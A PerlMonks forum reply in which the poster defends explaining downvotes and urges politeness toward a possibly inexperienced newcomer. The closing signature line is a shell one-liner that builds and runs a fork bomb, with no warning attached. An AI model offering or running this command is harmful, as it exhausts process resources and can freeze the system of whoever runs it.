|The stupid question is the question not asked|
I'm not angry about this.
It seems 'correct' PerlMonks behavior to:
* Explain why you're downvoting a node, rather than just downvoting it
* Be polite, helpful, and encouraging to others
This could certainly be a troll. But the original poster hasn't tried to bash perl, or perlmonks, or start a holy war, or anything else, and his followup posts are certainly not troll-inspired. In his last post he even tries to feel sorry for all the trouble.
So, I don't understand all the negative reaction to my explaining why I'm downvoting nodes that seem to be impolite or rude to the original poster.
Should I just beat on young kids who don't know better? Is that correct behavior? Yes, I'm asking this in a hyperbolic way, but I'm also a bit serious.
If anyone thinks this is original post is a troll, leave it alone. Isn't that what trolls want -- attention? Why are you feeding them then?
Isn't the best thing to do, give a polite and serious response? Or have I been greatly misled?
Is it bad form to reply and say why I downvoted a node? This seems to have gotten a number of people angry.
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
In reply to Re: Re^5: My computer broked down after perl install